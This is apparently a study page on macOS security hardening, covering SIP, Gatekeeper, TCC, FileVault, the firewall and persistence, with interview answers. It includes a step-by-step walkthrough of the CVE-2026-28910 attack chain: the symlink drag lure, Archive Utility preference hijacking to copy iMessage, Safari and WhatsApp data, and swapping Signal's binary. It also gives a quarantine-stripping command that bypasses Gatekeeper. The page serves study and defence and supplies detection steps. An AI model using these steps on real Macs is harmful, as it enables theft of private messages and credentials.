Security Notes
Hardening

macOS System Hardening

20 min read 17 sections 6 model answers

macOS Security Architecture

┌──────────────────────────────────────────────┐
│  SIP (System Integrity Protection)            │  Protects critical OS files
│  Gatekeeper                                   │  Code signing enforcement
│  TCC (Transparency, Consent, Control)         │  Permission model (camera, mic, disk)
│  XProtect (MRT)                               │  Built-in AV/malware signatures
│  Notarisation                                 │  Apple-scanned app packages
│  Secure Boot                                  │  Verified boot chain
│  T2/Apple Silicon (Secure Enclave)            │  Hardware-backed crypto
│  AMFI (Apple Mobile File Integrity)           │  Code signing enforcement in kernel
└──────────────────────────────────────────────┘

System Integrity Protection (SIP)

SIP prevents even root from modifying:

  • /System, /usr (except /usr/local), /bin, /sbin
  • System kernel extensions and daemons
bash
# Check SIP status
csrutil status

# Disable (requires boot to Recovery OS — for legitimate dev use only)
# csrutil disable  ← DON'T do in production

# Verify individual protection
ls -laO /System/Library/CoreServices/   # 'restricted' flag

SIP bypasses (interview knowledge)

  • CVE-2021-30892 (Shrootless) — installer packages could bypass SIP via post-install scripts
  • CVE-2022-26712 — Screen Sharing XPC endpoint allowed SIP bypass via TCC
  • Pattern: find a privileged process that runs as root and can write to SIP-protected paths

Gatekeeper & Notarisation

Gatekeeper

blocks apps not signed by a registered Apple Developer ID

Notarisation

Apple scans app for malware and signs a ticket — app must show notarisation receipt

bash
# Check app signature
codesign --verify --verbose=4 /Applications/MyApp.app
codesign -dv --verbose=4 /path/to/binary

# Check notarisation
spctl --assess --verbose /Applications/MyApp.app

# Check quarantine attribute (set by browser/downloader)
xattr -l /path/to/downloaded.app
# com.apple.quarantine: set = app was downloaded

# Remove quarantine (why "allow app from unidentified developer" dialog appears)
xattr -r -d com.apple.quarantine /path/to/app

Security noteAttackers use xattr -d com.apple.quarantine to bypass Gatekeeper after delivering payloads.


What TCC Is

TCC is macOS's user-consent permission system. Any app that wants access to sensitive resources must ask TCC, which prompts the user and stores the decision. It acts as a policy engine sitting between apps and protected data — even root cannot bypass it without SIP off.

App requests Camera access
       │
       ▼
  tccd (TCC daemon)
       │  checks TCC.db
       ▼
  User prompted (if no prior decision)
       │
  ┌────┴────┐
Allow      Deny
  │          │
  ▼          ▼
App gets   App gets
 access    EPERM

What TCC Protects

ServiceWhat it guards
kTCCServiceCameraCamera
kTCCServiceMicrophoneMicrophone
kTCCServiceLocationLocation Services
kTCCServicePhotosPhoto Library
kTCCServiceAddressBookContacts
kTCCServiceCalendarCalendar
kTCCServiceRemindersReminders
kTCCServiceScreenCaptureScreen Recording
kTCCServiceAccessibilityAccessibility (control other apps)
kTCCServiceAppleEventsAppleScript/Automation
kTCCServiceSystemPolicyDesktopFolderDesktop folder
kTCCServiceSystemPolicyDocumentsFolderDocuments folder
kTCCServiceSystemPolicyDownloadsFolderDownloads folder
kTCCServiceSystemPolicyAllFilesFull Disk Access — reads everything

TCC Database

bash
# Two databases:
# Per-user:  ~/Library/Application Support/com.apple.TCC/TCC.db
# System:    /Library/Application Support/com.apple.TCC/TCC.db

# Schema (simplified):
# SELECT service, client, client_type, auth_value, auth_reason FROM access;
# auth_value: 0=denied, 2=allowed, 3=limited

# List TCC permissions (macOS 13+)
tccutil list

# Reset permission for a specific app
tccutil reset Microphone com.example.app
tccutil reset All com.example.app

# View system TCC db (requires SIP off or Full Disk Access to read directly)
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
  "SELECT service, client, auth_value FROM access ORDER BY service"

How Apps Get TCC Permissions

Entitlement-based

some Apple system apps have hardcoded TCC grants via private entitlements (e.g., com.apple.private.tcc.allow). These bypass the prompt entirely. This is a key attack surface.

User prompt

standard apps must request and the user must approve.

MDM provisioning

enterprise MDM can grant permissions silently.

TCC.db manipulation

if an attacker can write to TCC.db (requires FDA or SIP-off), they grant themselves any permission.

TCC Bypass Techniques (Known)

TechniqueDescriptionExample CVE
Entitlement abuseInject into / abuse a process that has a private TCC entitlementCVE-2026-28910 (Archive Utility)
Environment variable injectionDYLD_INSERT_LIBRARIES into TCC-privileged processCVE-2020-9934
XPC service with FDAAbuse an XPC helper that has kTCCServiceSystemPolicyAllFilesAUHelperService (macOS Sonoma beta)
TCC.db replacementPhysically replace the database file using a process with FDAAUHelperService Exploit 2
Drag-and-drop com.apple.maclDrag item into a process to permanently grant it read accessCVE-2026-28910 (Step 2)
Electron misconfigurationNSApplicationSupportsSecureRestorableState=NO leaks sandboxVarious Electron apps
Symbolic link attacksSymlink TCC-protected path to attacker-controlled locationVarious

App Sandbox and Data Containers — Deep Dive

What the App Sandbox Is

The macOS App Sandbox isolates each app into its own container. An app in the sandbox can only read/write its own container unless TCC or the user explicitly grants more.

~/Library/Containers/
  └── com.apple.Safari/
        └── Data/                ← Safari's private data (cookies, history, passwords)
  └── com.apple.iChat/
        └── Data/                ← iMessage database
  └── com.apple.Notes/
        └── Data/

~/Library/Group Containers/
  └── group.com.apple.notes/     ← Shared between Notes and extensions
  └── group.net.whatsapp.WhatsApp.shared/
  └── 6N38VWS5BX.ru.keepcoder.Telegram/

Each container directory has POSIX ACLs that prevent other processes from accessing it — even if running as the same user. This is enforced by the kernel sandbox.

What "Full Disk Access" Actually Means

kTCCServiceSystemPolicyAllFiles bypasses all container restrictions. A process with FDA can read:

  • All app data containers (~/Library/Containers/*/)
  • All group containers (~/Library/Group Containers/*/)
  • ~/Desktop, ~/Documents, ~/Downloads
  • System files (SSH keys, browser databases, Keychain backup)
  • Time Machine backups

This is why getting FDA is the crown jewel of macOS privilege escalation.


Archive Utility — What It Is and Why It's Powerful

Archive Utility (/System/Library/CoreServices/Applications/Archive Utility.app) is the built-in macOS tool for creating and extracting .zip, .tar.gz, .aar archives. It runs when you double-click an archive in Finder or use the "Compress" context menu.

Why Archive Utility is privileged

  • As a system utility (Apple-signed, in /System), it holds elevated trust
  • It needs broad filesystem access to compress/extract arbitrary files
  • Pre-CVE-2026-28910: it could access paths that sandboxed apps cannot, including ~/Library/Containers/
  • Its XPC helper (AUHelperService) had the com.apple.private.tcc.allow entitlement with kTCCServiceSystemPolicyAllFiles — i.e., Full Disk Access, hardcoded, no user prompt

Configuring Archive Utility behavior (this is what the attack abuses):

bash
# Archive Utility reads preferences from com.apple.archiveutility.plist
# Key settings:
defaults read com.apple.archiveutility

# archive-format: output format (zip, tar.gz, aar...)
# archive-move-after: where to move the created archive after compression
# expand-destination: where to extract archives

CVE-2026-28910: Full Technical Breakdown

ReportedOctober 17, 2025 (Mysk Research) Patched: macOS 26.4, March 24, 2026 (5+ months delay) Affected: macOS Tahoe 26.0.0 – 26.3.2 (earlier versions suspected) Severity: Critical — full TCC bypass, app data exfiltration, app hijacking — no elevated privileges required

The Three Weaknesses Chained

① Archive Utility's unrestricted access to app data containers
        +
② Drag-and-drop com.apple.macl permanent filesystem grant
        +
③ Archive Utility's behavior is fully configurable via plist preferences
        =
        Full TCC bypass + data exfiltration + app hijacking
        with ZERO user-visible permission prompts

Weakness 1: Archive Utility Can Reach Protected Containers

Archive Utility could compress files from:

  • ~/Library/Containers/ (app sandbox data — iMessage, Safari, Notes...)
  • ~/Library/Group Containers/ (WhatsApp, Telegram, Signal...)
  • TCC-protected locations (Desktop, Documents, Photos)

Even when the user clicked "Don't Allow" in a TCC prompt triggered by the operation, Archive Utility retained access anyway because the access was granted to the system utility, not the requesting app.

Weakness 2: com.apple.macl — Permanent Drag-and-Drop Grant

When a user drags a file into an application, macOS expresses "user intent" by setting a com.apple.macl extended attribute on the dragged item. This permanently grants the recipient process filesystem read access to that item — and it cannot be revoked without SIP modification.

bash
# The xattr that grants permanent access:
xattr -p com.apple.macl /path/to/file
# Shows: binary blob representing the granted process

# Attacker's trick: make the user drag a symlink that points to
# com.apple.archiveutility.plist into Terminal
# → Terminal now permanently has access to Archive Utility's preferences

The attacker creates a symlink with a harmless-looking icon (e.g., a folder icon named "Drag Me!") pointing to ~/Library/Preferences/com.apple.archiveutility.plist. Once the user drags it into anything (Terminal, a fake "Applications folder"), Terminal gets permanent write access to Archive Utility's preferences.

Weakness 3: Archive Utility is Fully Preference-Driven

Once an attacker can write to com.apple.archiveutility.plist, they fully control Archive Utility's behavior:

bash
# Step 1: set output format to .aar (Apple Archive — preserves all metadata)
defaults write com.apple.archiveutility archive-format aar

# Step 2: set the destination for newly created archives to attacker-controlled dir
defaults write com.apple.archiveutility archive-move-after /tmp/exfil/

# Step 3: trigger Archive Utility on a target file (no GUI, no prompt)
open -a "Archive Utility" ~/Library/Containers/com.apple.iChat/Data/Library/Messages/chat.db

# Archive Utility compresses the file (with full access) and moves result to /tmp/exfil/
# Attacker now has iMessage chat.db with zero prompts shown to user

The researchers named this mechanism au-cp (Archive Utility Copy):

au-cp(source, dest):
  1. defaults write archive-move-after = dest
  2. open -a "Archive Utility" source   → creates archive in dest
  3. extract archive → get original file
  4. restore original preferences

Full Attack Chain: pb2au PoC

User runs "curl | bash" style installer (no sudo)
  │
  ▼
Step 1: Attacker creates a symlink:
  ln -s ~/Library/Preferences/com.apple.archiveutility.plist ~/.evil/DragMe
  # Give it a generic folder icon via SetFile or attribute manipulation
  
Step 2: Social engineering — user drags "DragMe" into Terminal
  → com.apple.macl set on archiveutility.plist
  → Terminal permanently has write access to Archive Utility prefs
  
Step 3: Attacker script configures Archive Utility:
  defaults write com.apple.archiveutility archive-format aar
  defaults write com.apple.archiveutility archive-move-after /tmp/steal/
  
Step 4: Exfiltrate any target:
  open -a "Archive Utility" ~/Library/Containers/com.apple.Safari/Data/...
  open -a "Archive Utility" ~/Library/Group Containers/group.net.whatsapp...
  open -a "Archive Utility" ~/Library/Messages/chat.db
  
Step 5 (App Hijacking): Replace app executable
  # Archive Utility can also write to /Applications/Signal.app/Contents/MacOS/
  au-cp /Applications/Signal.app/Contents/MacOS/Signal /tmp/backup
  au-cp /tmp/evil_binary /Applications/Signal.app/Contents/MacOS/Signal
  # macOS shows "prevented" notification but the replacement STILL SUCCEEDS
  
Step 6: Wait for user to launch Signal
  → Attacker binary runs with Signal's identity
  → Triggers real macOS Keychain prompt (not fake — the real system dialog)
  → User enters password → attacker gets Signal's encryption keys

Data Accessible via This Attack

AppFile / ContainerData Stolen
iMessage~/Library/Messages/chat.dbFull message history
Notesgroup.com.apple.notes/NoteStore.sqliteAll notes
Safaricom.apple.Safari/Data/Cookies (unencrypted), history, autofill
Mail~/Library/Mail/V10/All email
WhatsAppgroup.net.whatsapp.WhatsApp.shared/Messages, media
Telegram6N38VWS5BX.ru.keepcoder.Telegram/Messages, keys
SignalApp bundle executableAfter hijack: encryption keys via Keychain prompt
iCloud~/Library/Mobile Documents/All iCloud Drive files
Desktop/DocumentsDirect TCC bypassAny file even with "Don't Allow"

Why the App Hijacking Is Especially Dangerous

Code signing should prevent this

Apple hasn't explained why validation failed

The Keychain prompt is real

not a phishing overlay; it's the genuine system dialog that users have been trained to trust

The "macOS prevented it" notification is misleading

displayed but the attack still succeeds

No special privilege required

runs entirely as the logged-in user

Researcher jhftss found a separate but related vulnerability in AUHelperService.xpc, an XPC helper inside Archive Utility:

/System/Library/CoreServices/Applications/Archive Utility.app/
  └── Contents/XPCServices/
        └── AUHelperService.xpc      ← Vulnerable helper

Entitlements on AUHelperService

xml
<key>com.apple.private.tcc.allow</key>
<array>
    <string>kTCCServiceSystemPolicyAllFiles</string>   ← Full Disk Access, hardcoded
</array>

The bugThe XPC delegate accepted all clients without any identity check:

objc
// Vulnerable implementation:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
    return YES;   // accepts ANYONE
}

Exploitation

Exploit 1: Call validateTargetDirectory: → get sandbox extension to any TCC-protected path
Exploit 2: Call moveWithUniquingFrom:into: → physically move/replace TCC.db itself
           → attacker adds any permission to TCC.db
           → effectively grants themselves Full Disk Access, Camera, Microphone, etc.

Patch (macOS 14.0/Sonoma): XPC now requires caller to possess com.apple.private.AUHelperService.XPC entitlement.

Fix in macOS 26.4

Apple implemented two mitigations for CVE-2026-28910:

Archive Utility restriction

can no longer access protected container paths when invoked by another process (only when user directly interacts with it)

Terminal paste warning

system warns when commands are pasted into Terminal from untrusted sources (but relies on heuristics — recent launch time, source app — not actual command analysis)

The Terminal paste warning is considered weak because it's non-deterministic and educationally ineffective (it doesn't explain why the paste is dangerous).

Detection

bash
# Check for unexpected com.apple.archiveutility.plist modifications
stat ~/Library/Preferences/com.apple.archiveutility.plist
# Look for unexpected archive-move-after or archive-format keys:
defaults read com.apple.archiveutility

# Check for com.apple.macl on preference files (should not be present)
xattr ~/Library/Preferences/com.apple.archiveutility.plist

# Look for unexpected Archive Utility processes launched by scripts
# (Sysmon-equivalent: check for Archive Utility parent = bash/zsh/python)

# Check app bundle modification times
stat /Applications/Signal.app/Contents/MacOS/Signal
# compare against known-good date

# File integrity check on app bundles
codesign --verify --strict /Applications/Signal.app
# If hijacked: "code object is not signed at all" or hash mismatch

Mitigation (Post-patch)

[ ] Update to macOS 26.4+
[ ] If running older macOS: be extremely suspicious of "Drag Me" prompts in installers
[ ] Audit Archive Utility preferences for unexpected keys:
    defaults read com.apple.archiveutility
[ ] Monitor app bundle modification times (AIDE or similar)
[ ] Verify app signatures after any unexpected system notification:
    codesign --verify --strict /Applications/<App>.app
[ ] Treat any "curl | bash" installer as a red flag requiring source review

Interview Angles

Why was this so hard to detect?

TCC appeared to block it (prompt shown), SIP appeared active, code signing appeared intact — all three defenses gave false assurance.

What does it teach about defense-in-depth?

Each security layer can be bypassed individually; real security requires detecting the combination of: preferences modified + Archive Utility invoked programmatically + files moved to unusual destinations.

Why is the com.apple.macl grant non-revocable?

Because it's stored as an extended attribute on the file rather than in a central policy store. Removing it would require modifying a protected kernel data structure.

What's the lesson for XPC service design?

Every XPC listener must validate caller identity — either via entitlement check, code signing requirement, or audit token comparison. "Return YES" is never acceptable for a privileged helper.


Controls access to:

  • Full Disk Access, Desktop/Documents/Downloads
  • Camera, Microphone, Location Services
  • Calendar, Contacts, Reminders
  • Screen Recording
  • Automation (AppleScript control of other apps)
bash
# TCC database locations
# System: /Library/Application Support/com.apple.TCC/TCC.db
# User: ~/Library/Application Support/com.apple.TCC/TCC.db

# List TCC permissions (macOS 13+)
tccutil list

# Reset TCC permissions for an app
tccutil reset All com.example.myapp
tccutil reset Microphone

# View system TCC db (requires SIP off or Full Disk Access)
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "SELECT service, client, auth_value FROM access"

Attack vectorgain Full Disk Access → read any file including credential stores, SSH keys, browser databases.

TCC bypass techniques

  • Abuse apps that already have FDA (e.g., Time Machine, Finder) via injection
  • CVE-2020-9934: Environment variable injection into TCC-privileged process
  • Electron app misconfiguration: NSApplicationSupportsSecureRestorableState = NO
  • CVE-2026-28910: Archive Utility preference manipulation → full TCC bypass (see above)

XProtect & MRT

XProtect

YARA-based signature scanner, runs transparently on file execution

MRT (Malware Removal Tool)

removes known malware families

XProtect Remediator

(macOS 12.3+): more active scanning, runs periodically

bash
# Location
/Library/Apple/System/Library/CoreServices/XProtect.bundle
/Library/Apple/System/Library/CoreServices/MRT.app

# Update signatures (usually automatic via Software Update)
softwareupdate --list  # check for signature updates

# Verify XProtect version
/usr/libexec/xprotect --get-version
defaults read /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.meta.plist

Secure Boot & FileVault

FileVault 2 (Full Disk Encryption)

bash
# Check FileVault status
fdesetup status

# Enable (interactively)
sudo fdesetup enable

# List recovery key
sudo fdesetup showrecovery -user <username>

# Enable institutional recovery key (for enterprise)
sudo fdesetup enable -keychain /path/to/keychain

SecurityAES-XTS-256. Key stored in Secure Enclave (T2/Apple Silicon). Without the password, disk is unreadable.

Secure Boot (T2 / Apple Silicon)

Full Security

(default): verifies OS is from Apple + not tampered

Reduced Security

allows third-party kernel extensions

No Security

allows unsigned OS (required for alternative OS, not recommended)

bash
# Check via System Information
system_profiler SPHardwareDataType | grep "Secure Boot"

# On Apple Silicon, check via recoveryOS or:
nvram -p | grep security

Firewall

bash
# Enable Application Firewall (GUI: System Settings → Network → Firewall)
sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1

# Block all incoming connections (most secure)
sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 2

# Check firewall status
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

# Enable stealth mode (don't respond to probe packets)
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on

# Allow/block a specific app
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /Applications/MyApp.app
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --block /Applications/MyApp.app

pf (packet filter) — low-level firewall (same as BSD):

bash
# Edit /etc/pf.conf
sudo pfctl -e            # enable
sudo pfctl -f /etc/pf.conf  # reload

# Block all except established outbound + specific inbound
block in all
pass out all keep state
pass in proto tcp from any to any port 22 keep state

Password & Authentication Hardening

bash
# Require password immediately on sleep/screen saver
sudo defaults write /Library/Preferences/com.apple.screensaver askForPassword -int 1
sudo defaults write /Library/Preferences/com.apple.screensaver askForPasswordDelay -int 0

# Set auto-lock timeout (in seconds, 0 = never)
sudo defaults write /Library/Preferences/com.apple.screensaver idleTime -int 300

# Disable auto-login
sudo defaults write /Library/Preferences/com.apple.loginwindow autoLoginUser -string ""
sudo defaults delete /Library/Preferences/com.apple.loginwindow autoLoginUser 2>/dev/null

# Require password to unlock System Preferences
sudo security authorizationdb write system.preferences allow

# Enable secure virtual memory (encrypt swap)
sudo defaults write /Library/Preferences/com.apple.virtualMemory UseEncryptedSwap -bool true

# Show all login items (for security review)
osascript -e 'tell application "System Events" to get the name of every login item'

Audit Framework (BSM/auditd)

bash
# macOS uses BSM (Basic Security Module) audit
sudo audit -s    # start
sudo audit -t    # terminate

# Audit configuration: /etc/security/audit_control
# Edit to include:
flags:lo,aa,ex,nt   # login/logout, authentication, exec, network
naflags:lo,aa

# Read audit logs (binary format)
sudo praudit /var/audit/current | head -100

# Filter by event type
sudo praudit -x /var/audit/current | grep -A5 'execve'

# Audit trail location
ls -la /var/audit/

SIP-Protected Persistence Locations (Attacker Targets)

bash
# LaunchAgents (user-level auto-start) — writable by user
~/Library/LaunchAgents/
/Library/LaunchAgents/

# LaunchDaemons (system-level, root required)
/Library/LaunchDaemons/

# Login Items
~/Library/Application Support/com.apple.backgroundtaskmanagementagent/

# Cron (legacy)
/var/at/tabs/<username>

# Shell profiles
~/.zshrc ~/.bash_profile ~/.bashrc ~/.zprofile

# Audit LaunchAgents for suspicious entries
for f in ~/Library/LaunchAgents/*.plist /Library/LaunchAgents/*.plist; do
  echo "=== $f ==="
  plutil -p "$f" | grep -E "ProgramArguments|Label|RunAtLoad"
done

Privacy & Telemetry

bash
# Disable Diagnostic Data / Analytics sending
sudo defaults write /Library/Application Support/CrashReporter/DiagnosticMessagesHistory.plist AutoSubmit -bool false

# Disable Spotlight suggestions (sends queries to Apple)
sudo mdutil -a -i off  # disable spotlight indexing entirely

# Disable mDNS (network discovery, useful in hardened environments)
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist 2>/dev/null

Hardening Checklist (macOS)

[ ] FileVault enabled
[ ] Secure Boot: Full Security
[ ] SIP: enabled (csrutil status)
[ ] Application Firewall + stealth mode enabled
[ ] pf rules for inbound control
[ ] Firmware password set (Intel) / Activation Lock (Apple Silicon)
[ ] Auto-login disabled
[ ] Screen lock on sleep + immediate password required
[ ] Remote Login (SSH) disabled unless needed
[ ] Remote Management (ARD) disabled
[ ] Bluetooth off when not needed
[ ] AirDrop: Contacts Only or Off
[ ] Gatekeeper: App Store and identified developers
[ ] Notarisation: enforced (check spctl)
[ ] Find My Mac enabled (for asset tracking/remote wipe)
[ ] Guest account disabled
[ ] Full Disk Access: audit list in Privacy & Security
[ ] XProtect signatures up to date (softwareupdate)
[ ] Launch agents/daemons audited for unknown entries
[ ] TCC permissions audited (tccutil list)
[ ] auditd configured and running
[ ] Encryption of Time Machine backups enabled

Memory hook

macOS security is a stack of named gates, each guarding a different stage. Map them to the malware lifecycle: Gatekeeper + notarization + quarantine guard download & first launch (is this app from a known, Apple-checked developer?); XProtect is the built-in signature AV; TCC guards access to your data (the "App wants to access your Camera/Files" prompts); SIP guards the system itself from even root; and Secure Boot guards the boot chain. The recurring lesson the case studies teach: each gate can be bypassed individually and each gives false assurance alone, so detection must look for the combination of suspicious signals. Mnemonic for the consumer-facing trio: Gatekeeper checks the door, XProtect checks the bag, TCC checks what you're allowed to touch inside.

Interview Questions: macOS Hardening

Q
What is SIP and what does it protect? How have attackers bypassed it?
Model answer

System Integrity Protection is a kernel-enforced restriction that prevents even root from modifying protected system locations — directories like /System and /usr, system binaries, and certain kernel and process protections — and from attaching to system processes. It exists because the traditional Unix model gives root total power, and SIP draws a line root can't cross, so malware that gains root still can't tamper with the OS or disable protections. Attackers have bypassed it through vulnerabilities in Apple-entitled processes — a SIP-exempt system daemon with a flaw can be coerced into performing the protected action on the attacker's behalf — and through bugs in the SIP enforcement itself, like the "Shrootless" class that abused system installation scripts. So bypasses typically come from abusing an already-trusted, entitled component rather than turning SIP off directly.

Q
Explain TCC and why Full Disk Access is so dangerous for an attacker.
Model answer

Transparency, Consent, and Control is the macOS privacy framework that gates application access to sensitive resources — the camera, microphone, location, and protected data folders like Documents, Downloads, and Mail — behind explicit user consent prompts, with grants stored in a TCC database. Full Disk Access is the master key: an app with it bypasses all the per-folder TCC protections and can read essentially everything, including other apps' data, Mail, Messages, and browser stores. So for an attacker, obtaining Full Disk Access — by phishing the consent prompt, abusing an already-granted app, or tampering with the TCC database — turns a foothold into broad data theft without further prompts. That's why TCC-grant changes and access to the TCC database are high-value detection signals.

Q
How does Gatekeeper work, and what's the quarantine attribute?
Model answer

Gatekeeper checks apps at first launch to ensure they're from an identified developer and, for modern macOS, notarized by Apple — if the app is unsigned or unnotarized, it's blocked or warns the user. The mechanism that triggers it is the quarantine attribute: when an app is downloaded via a browser or other quarantine-aware app, the OS tags the file with the com.apple.quarantine extended attribute, and on first launch Gatekeeper sees that flag and performs its signature, notarization, and policy checks. Once approved, the flag is cleared and subsequent launches skip the check. A common attacker move is delivering payloads in a way that avoids the quarantine flag — for instance via certain archive types or command-line tools — so Gatekeeper never engages, which is why stripping or evading com.apple.quarantine is itself a detection signal.

Q
What's the difference between XProtect and notarization?
Model answer

They're two different layers. XProtect is Apple's built-in signature-based antimalware — it scans for known-malicious files using signatures Apple pushes out, so it's reactive detection of known bad. Notarization is a proactive supply-side check: developers submit their software to Apple's automated service before distribution, Apple scans it for malware and checks signing, and issues a notarization ticket that Gatekeeper verifies at launch. So notarization vets software before it ever runs on a user's machine and is about provenance and pre-screening, while XProtect catches known malware that's already present. Notarization raises the baseline by making unnotarized software warn or fail, and XProtect is the signature net for the known threats that slip through.

Q
Name five macOS persistence locations and how you'd investigate a suspicious LaunchAgent.
Model answer

Common persistence: LaunchAgents and LaunchDaemons in the user and system Library directories, login items, configuration profiles, cron and the modern at/launchd timers, and shell startup files like zshrc; also kernel and system extensions, and dylib hijacking. To investigate a suspicious LaunchAgent, I'd examine its plist — the program it launches, its arguments, and the RunAtLoad/KeepAlive keys that give it persistence — then inspect the target binary: its code signature and notarization status, hash it against threat intel, and look at where it lives, since legitimate agents are signed and in expected paths while malware is often unsigned, ad-hoc signed, or in a user-writable hidden location. I'd correlate its creation time with other activity, check unified logs for its execution, and pull network connections it makes. The plist plus the binary's signing and location usually tell you quickly whether it's legitimate.

Q
What does Secure Boot "Full Security" protect, and how is macOS auditing different from Linux?
Model answer

On Apple Silicon and T2 Macs, Full Security ensures only a known-good, signed operating system that Apple currently signs can boot — it verifies the boot chain so the machine won't load a tampered or downgraded OS, protecting against bootkits and rootkit persistence below the OS. What it doesn't protect against is post-boot compromise: once a legitimately-signed OS is running, application-level malware, user consent abuse, and runtime exploits are still in play. On auditing, macOS historically used a BSM-based audit framework, but Apple has deprecated OpenBSM in favor of the Endpoint Security Framework, which is the modern, supported way to get process, file, and system event telemetry and is what EDR products build on — whereas Linux auditd is a kernel subsystem driven by rule files over syscalls. So the practical difference is macOS detection centers on ESF and unified logs rather than a Linux-style auditd ruleset.

  • CVE-2026-28910: Walk me through the full attack chain. Why did TCC, code signing, and the "prevented" notification all fail to stop it?
  • What is com.apple.macl and why is the access grant it creates non-revocable without SIP modification?
  • How should an XPC service validate its callers? What went wrong with AUHelperService?
  • If you were investigating a macOS host for a CVE-2026-28910-style compromise, what artifacts would you look for?
  • What does the attack teach about defense-in-depth in macOS security? What detection would have caught it?